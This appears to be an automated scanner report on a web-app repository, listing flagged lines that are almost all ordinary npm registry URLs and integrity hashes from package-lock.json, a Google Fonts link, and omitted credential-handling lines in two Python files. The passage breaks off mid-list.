    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  • Network accessline 9
    <link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">

web-app/migrations/env.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 38
    [Credential-related source omitted]

web-app/migrations/versions/001_initial_schema.py

  • Executable scriptline 1
    Executable file

web-app/models.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 118
    [Credential-related source omitted]

web-app/package-lock.json

  • Network accessline 39
    "node_modules/@alloc/quick-lru": {       "version": "5.2.0",       "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
  • Network accessline 40
    "version": "5.2.0",       "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",       "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==",
  • Network accessline 41
    "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz",
  • Network accessline 47
    },       "funding": {         "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 48
    "funding": {         "url": "https://github.com/sponsors/sindresorhus"       }
  • Network accessline 49
    "url": "https://github.com/sponsors/sindresorhus"
  • Network accessline 52
    "node_modules/@babel/code-frame": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
  • Network accessline 53
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",       "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==",
  • Network accessline 54
    "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
  • Network accessline 67
    "node_modules/@babel/compat-data": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
  • Network accessline 68
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",       "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==",
  • Network accessline 69
    "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
  • Network accessline 77
    "node_modules/@babel/core": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
  • Network accessline 78
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",       "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==",
  • Network accessline 79
    "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
  • Network accessline 103
    "funding": {         "type": "opencollective",         "url": "https://opencollective.com/babel"
  • Network accessline 104
    "type": "opencollective",         "url": "https://opencollective.com/babel"       }
  • Network accessline 105
    "url": "https://opencollective.com/babel"
  • Network accessline 108
    "node_modules/@babel/generator": {       "version": "7.29.1",       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
  • Network accessline 109
    "version": "7.29.1",       "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",       "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==",
  • Network accessline 110
    "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
  • Network accessline 125
    "node_modules/@babel/helper-compilation-targets": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
  • Network accessline 126
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",       "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhu
  • Network accessline 127
    "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
  • Network accessline 142
    "node_modules/@babel/helper-globals": {       "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
  • Network accessline 143
    "version": "7.28.0",       "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",       "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
  • Network accessline 144
    "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
  • Network accessline 152
    "node_modules/@babel/helper-module-imports": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
  • Network accessline 153
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",       "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2d
  • Network accessline 154
    "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
  • Network accessline 166
    "node_modules/@babel/helper-module-transforms": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
  • Network accessline 167
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",       "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWW
  • Network accessline 168
    "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
  • Network accessline 184
    "node_modules/@babel/helper-plugin-utils": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz",
  • Network accessline 185
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz",       "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/D
  • Network accessline 186
    "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz",
  • Network accessline 194
    "node_modules/@babel/helper-string-parser": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
  • Network accessline 195
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",       "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbW
  • Network accessline 196
    "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
  • Network accessline 204
    "node_modules/@babel/helper-validator-identifier": {       "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
  • Network accessline 205
    "version": "7.28.5",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",       "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoL
  • Network accessline 206
    "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
  • Network accessline 214
    "node_modules/@babel/helper-validator-option": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
  • Network accessline 215
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",       "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4M
  • Network accessline 216
    "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
  • Network accessline 224
    "node_modules/@babel/helpers": {       "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz",
  • Network accessline 225
    "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz",       "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==",
  • Network accessline 226
    "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz",
  • Network accessline 238
    "node_modules/@babel/parser": {       "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz",
  • Network accessline 239
    "version": "7.29.2",       "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz",       "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==",
  • Network accessline 240
    "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz",
  • Network accessline 254
    "node_modules/@babel/plugin-transform-react-jsx-self": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",
  • Network accessline 255
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",       "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X
  • Network accessline 256
    "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",
  • Network accessline 270
    "node_modules/@babel/plugin-transform-react-jsx-source": {       "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",
  • Network accessline 271
    "version": "7.27.1",       "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",       "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeoko
  • Network accessline 272
    "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",
  • Network accessline 286
    "node_modules/@babel/template": {       "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
  • Network accessline 287
    "version": "7.28.6",       "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",       "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==",
  • Network accessline 288
    "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
  • Network accessline 301
    "node_modules/@babel/traverse": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
  • Network accessline 302
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",       "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==",
  • Network accessline 303
    "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
  • Network accessline 320
    "node_modules/@babel/types": {       "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
  • Network accessline 321
    "version": "7.29.0",       "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",       "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==",
  • Network accessline 322
    "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
  • Network accessline 334
    "node_modules/@esbuild/aix-ppc64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
  • Network accessline 335
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",       "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==",
  • Network accessline 336
    "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",
  • Network accessline 351
    "node_modules/@esbuild/android-arm": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
  • Network accessline 352
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",       "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==",
  • Network accessline 353
    "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",
  • Network accessline 368
    "node_modules/@esbuild/android-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
  • Network accessline 369
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",       "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==",
  • Network accessline 370
    "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",
  • Network accessline 385
    "node_modules/@esbuild/android-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
  • Network accessline 386
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",       "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==",
  • Network accessline 387
    "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",
  • Network accessline 402
    "node_modules/@esbuild/darwin-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
  • Network accessline 403
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",       "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==",
  • Network accessline 404
    "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",
  • Network accessline 419
    "node_modules/@esbuild/darwin-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
  • Network accessline 420
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",       "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==",
  • Network accessline 421
    "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",
  • Network accessline 436
    "node_modules/@esbuild/freebsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
  • Network accessline 437
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",       "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==",
  • Network accessline 438
    "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",
  • Network accessline 453
    "node_modules/@esbuild/freebsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
  • Network accessline 454
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",       "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==",
  • Network accessline 455
    "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",
  • Network accessline 470
    "node_modules/@esbuild/linux-arm": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
  • Network accessline 471
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",       "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==",
  • Network accessline 472
    "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",
  • Network accessline 487
    "node_modules/@esbuild/linux-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
  • Network accessline 488
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",       "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==",
  • Network accessline 489
    "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",
  • Network accessline 504
    "node_modules/@esbuild/linux-ia32": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
  • Network accessline 505
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",       "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==",
  • Network accessline 506
    "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",
  • Network accessline 521
    "node_modules/@esbuild/linux-loong64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
  • Network accessline 522
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",       "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==",
  • Network accessline 523
    "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",
  • Network accessline 538
    "node_modules/@esbuild/linux-mips64el": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
  • Network accessline 539
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",       "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==",
  • Network accessline 540
    "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",
  • Network accessline 555
    "node_modules/@esbuild/linux-ppc64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
  • Network accessline 556
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",       "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==",
  • Network accessline 557
    "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",
  • Network accessline 572
    "node_modules/@esbuild/linux-riscv64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
  • Network accessline 573
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",       "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==",
  • Network accessline 574
    "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",
  • Network accessline 589
    "node_modules/@esbuild/linux-s390x": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
  • Network accessline 590
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",       "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==",
  • Network accessline 591
    "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",
  • Network accessline 606
    "node_modules/@esbuild/linux-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
  • Network accessline 607
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",       "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==",
  • Network accessline 608
    "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",
  • Network accessline 623
    "node_modules/@esbuild/netbsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
  • Network accessline 624
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",       "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==",
  • Network accessline 625
    "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",
  • Network accessline 640
    "node_modules/@esbuild/netbsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
  • Network accessline 641
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",       "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==",
  • Network accessline 642
    "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",
  • Network accessline 657
    "node_modules/@esbuild/openbsd-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
  • Network accessline 658
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",       "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==",
  • Network accessline 659
    "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",
  • Network accessline 674
    "node_modules/@esbuild/openbsd-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
  • Network accessline 675
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",       "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==",
  • Network accessline 676
    "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",
  • Network accessline 691
    "node_modules/@esbuild/openharmony-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
  • Network accessline 692
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",       "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdA
  • Network accessline 693
    "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",
  • Network accessline 708
    "node_modules/@esbuild/sunos-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
  • Network accessline 709
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",       "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==",
  • Network accessline 710
    "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",
  • Network accessline 725
    "node_modules/@esbuild/win32-arm64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
  • Network accessline 726
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",       "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==",
  • Network accessline 727
    "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",
  • Network accessline 742
    "node_modules/@esbuild/win32-ia32": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
  • Network accessline 743
    "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",       "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==",
  • Network accessline 744
    "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",
  • Network accessline 759
    "node_modules/@esbuild/win32-x64": {       "version": "0.25.12",       "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",
  • Network accessline 760
